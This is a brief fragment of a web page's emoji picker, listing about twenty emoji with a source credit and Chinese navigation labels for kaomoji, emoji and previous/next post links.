😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇